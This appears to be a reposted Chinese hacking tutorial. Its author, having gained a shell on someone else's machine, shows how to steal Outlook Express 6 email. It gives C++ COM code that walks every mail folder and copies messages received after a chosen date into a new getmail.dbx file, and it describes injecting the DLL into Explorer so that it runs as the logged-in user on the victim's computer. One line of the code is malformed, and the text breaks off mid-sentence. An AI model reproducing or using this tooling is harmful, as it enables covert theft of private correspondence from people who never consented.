当前位置:软件学习 > outlook >>

编程窃取Outlook Express6 邮件

最近通过漏洞溢出得到了一台机器的Shell,发现该机器的主人使用Outlook Express6(以后简称OE6)收发邮件,同时该机器在硬盘上积累了非常多的邮件,我想将邮件拷过来看看,但是dbx文件足足有1.5G之多。本人特开发了一个小小的软件,特向各位黑客编程爱好者公开自己的一些成果,希望得到大家宝贵的意见。
基础知识
Windows给每个用户、用户组和计算机都分配了一个安全的ID(SID),安全引用监视器用此SID控制对各种安全对象的访问。这个道理大家都明白,然而不是每个人在编写程序时都考虑到了这个因素,很多人都以为当得到一台机器的Shell后将程序上传执行就能得到理想的结果了。其实不然,在Shell中对各种安全对象的访问与当前活动用户对各种安全对象的访问是完全不同的,比如我的程序是对OE6中存储的邮件进行筛选,当我双击运行时能将满足要求的邮件提取出来。而在Shell中运行时却得不到结果,经过我的仔细的研究,发现由于SID不同,造成程序访问的邮件路径也完全不同。本地双击运行时访问的是“C:Documents and SettingsAdministratorLocal SettingsApplication DataIdentities {5F0D737E-53DF-4A51-8061-179B70D61CA3}MicrosoftOutlook Express”;而Shell中运行时访问路径是
“C:Documents and SettingsAdministratorLocal SettingsApplication DataIdentities {0355731D-7173-4AB6-8014-B6415B19345C}MicrosoftOutlook Express”。
既然找到了问题的起因,我们就一起来寻找解决的办法吧。我分别使用了将程序添加到计划任务和将程序写成系统服务两种办法,但并没有解决问题.。最后我想到了插入进程的方法,因为Explorer进程属于当前活动的用户,所以Explorer进程拥有与当前活动用户相同的SID,进而用Explorer进程对OE6的访问与当前活动用户对OE6访问的效果是一样的。于是我将程序制作成动态链接库,插入到Explorer进程中运行,效果良好。目前,插入进程的技术已经是老生常谈了,以这种方式隐藏进程、木马的方式并不先进,但这并不代表这种方法将无用武之处,只要仔细研究、综合考虑,灵活的运用插入进程的方法仍然能解决很多问题。
编程实现
接下来,我将对OE6邮件的存储方式进行简单的剖析,并介绍一下对OE6的Automation编程。通常,在一个系统用户将自己的邮箱账号与密码加入到OE6邮箱账号后,OE6会自动在在路径:“C:Documents and SettingsAdministratorLocal SettingsApplication DataIdentities{5F0D737E-53DF-4A51-8061-179B70D61CA3}MicrosoftOutlook Express下建立相关的*.dbx(收件箱.dbx等)文件,这些文件中的Folder.dbx存储着邮箱账号的相关信息。这个文件对OE6来说是非常重要的,一旦被删掉那么以前的邮件就都不能读取了。Pop3uidl.dbx是POP3收信记录的文件,其余的dbx文件里则存放着收取和发送的邮件。如果该系统用户有多个邮箱,并都加入到OE6进行邮件的收发,这时在上述路径不会出现新的dbx文件,而是将不同账号邮件都存放在相同的dbx文件中(比如将两个账号收到邮件都存入“收件箱.dbx”),但是如果以不同的系统用户登录,并添加账号的话,就会新建一个类似{5F0D737E-53DF-4A51-8061-179B70D61CA3}的文件夹,同时将不同系统用户的邮件存在不同的dbx文件中。可见我们可以一下子读取多个账号的邮件。
现在,我们来对相关OE6的Automation编程进行简要的介绍,这里主要用到的技术是COM 中的Automation编程,同时还需要用到微软2004年12月份公布的一个操作Outlook Express 6的头文件“msoeapi.h”,这个头文件中定义了对OE6进行各种操作的函数,这样我们就可以根据关键字、时间窃取相关的邮件了。这里将主要的代码公开,代码如下供大家参考:

STOREFOLDERID CreateDistillFolder(IStoreNamespace* m_pNamespace)
//这个函数将新建一个dbx文件以保存目标邮件
{
STOREFOLDERID dwNewFolder;
HRESULT hCreateFolder;

hCreateFolder=m_pNamespace
->CreateFolder(NULL,
“getmail.dbx”,
0,
&dwNewFolder);
//新建一个dbx文件即OE6中的一个
//扩展Folder(类似收件箱)
//该Folder名为getmail.dbx
if(FAILED(hCreateFolder))
{
return NULL;
}
return dwNewFolder;
}
―――――――――――――――――――――――――
void GetEmailInFolder
(IStoreNamespace* m_pNamespace,
STOREFOLDERID ID,
STOREFOLDERID DesID,
SYSTEMTIME Signtime)
//该函数将从指定ID的dbx文件中遍历邮件,并将目标邮
//件拷贝到指定DesID的dbx文件中
{
MESSAGEPROPS msgProps;
//邮件属性结构,包含邮件的各种相关信息
HENUMSTORE hEnumMsg;
//枚举邮件的句柄,用来判断邮件是否遍历完毕
IStoreFolder* m_pStoreFolder;
//存储邮件Folder的指针
IStoreFolder* m_pDesFolder;
//存储邮件Folder的指针
hEnumMsg = NULL;
msgProps.cbSize = sizeof(MESSAGEPROPS);
HRESULT hrOpenFolder =
m_pNamespace->OpenFolder(ID,
0,
&m_pStoreFolder);

if(FAILED(hrOpenFolder))
{
return;
}
HRESULT hrOpenDesFolder =
m_pNamespace->OpenFolder(DesID,
0,
&m_pDesFolder);
if(FAILED(hrOpenDesFolder))
{
return;
}
HRESULT hrGetMSG =
m_pStoreFolder->GetFirstMessage(0,
0,
MESSAGEID_FIRST,
&msgProps,
&hEnumMsg);
//得到Folder中的第一封邮件
while(SUCCEEDED(hrGetMSG)
&& (hrGetMSG != S_FALSE))
{
//该循环遍历指点Folder中的所有邮件
FILETIME timeout = msgProps.ftReceived;
SYSTEMTIME outtime;
FileTimeToSystemTime(&timeout, &outtime);
MESSAGEID msgID =
msgProps.dwMessageId;
if(outtime > Signtime)
{
//判断邮件接收时间
//如在指点时间后则拷贝到
//制定的Folder中
MESSAGEIDLIST msgIDList;
DWORD props = -1;
props &= ~msgProps.dwFlags;
msgIDList.cbSize =
sizeof(MESSAGEIDLIST);
msgIDList.cMsgs = 1;
msgIDList.prgdwMsgId = &msgID;
HRESULT hCopyEmail =
m_pNamespace->CopyMoveMessages(
m_pStoreFolder,
m_pDesFolder,
&msgIDList,
(FALSE ? CMF_MOVE : 0),
props,
NULL);
}
m_pStoreFolder->FreeMessageProps(&msgProps);
//将邮件信息结构清空
hrGetMSG =
m_pStoreFolder->GetNextMessage(hEnumMsg,
0,
&msgProps);
//取该Folder中的下一封邮件
}
m_pDesFolder->Release();

if(hEnumMsg)
{
m_pStoreFolder->GetMessageClose(hEnumMsg);
}
return;
}
―――――――――――――――――――――――――
void getemailfromOE6()
{
IStoreNamespace* m_pStoreNamespace = NULL;
// IStoreNamespace变量的定义在msoeapi.h中
//是interface的一个别名
HRESULT HInit = CoInitialize(0);
//初始化Com Library,参数必须为NULL
if(FAILED(HInit))
{
return;
}
HInit = CoCreateInstance(
CLSID_StoreNamespace,
NULL, CLSCTX_SERVER,
IID_IStoreNamespace,
(LPVOID*)&m_pStoreNamespace);
//建立一个以CLSID_StoreNamespace为标识
//的未初始化的对象
if(FAILED(HInit))
{
return;
}

HInit=m_pStoreNamespace->Initialize(NULL,
NULL);
//初始化
if(FAILED(HInit))
{
m_pStoreNamespace->Release();
return;
}
STOREFOLDERID DistillFolderID =
CreateDistillFolder(m_pStoreNamespace);
//建立存放目标邮件的Folder
if(DistillFolderID != NULL)
{
FOLDERPROPS props;
HENUMSTORE hEnum;
STOREFOLDERID BoxID;
hEnum = NULL;
props.cbSize = sizeof(FOLDERPROPS);
HRESULT hrfolder = m_pStoreNamespace
->GetFirstSubFolder(FOLDERID_ROOT,
&props, &hEnum);
//得到OE6中第一个Folder的句柄
while(SUCCEEDED(hrfolder)
&& (hrfolder != S_FALSE)
&& (hEnum != NULL))
{
//该循环遍历所有的Folder
//并调用GetEmailInFolder遍历所有邮件
BoxID = props.dwFolderId;
if(props.szName, DistillFolderName))
{
GetEmailInFolder(m_pStoreNamespace,
BoxID, DistillFolderID, tagtime);
}
hrfolder =
m_pStoreNamespace->GetNextSubFolder(
hEnum, &props);
}
if(hEnum)
{
m_pStoreNamespace->GetSubFolderClose(
hEnum);
}
m_pStoreNamespace->Release();
}
return;
}

实现窃取邮件的代码并不复杂,主要的过程是在void getemailfromOE6()函数中调用“STOREFOLDERID CreateDistillFolder(IStoreNamespace* m_pNamespace)”函数建立存放目标邮件的getmail.dbx文件,然后使用“void GetEmailInFolder(IStoreNamespace* m_pNamespace, STOREFOLDERID ID,STOREFOLDERID DesID, SYSTEMTIME Signtime)”函数对特定dbx文件中的邮件进行遍历,找出符合条件的邮件,并调用“CopyMoveMessages(m_pStoreFolder, m_pDesFolder, &msgIDList, (FALSE ? CMF_MOVE : 0), props, NULL)”函数将该邮件拷贝到我们建立的getmail.dbx文件中。这里我在主程序中直接调用“void getemailfromOE6()”函数就搞定了。
最后,我将用来实现提取邮件的getmail.dll与进行插入进程的Embody.exe文件上传到对方的机器中去,使用Embody.exe将getmail.dll插入到Explorer进程,从而得到了我指定日期后的邮件。将ge

补充:综合编程 , 安全编程 ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,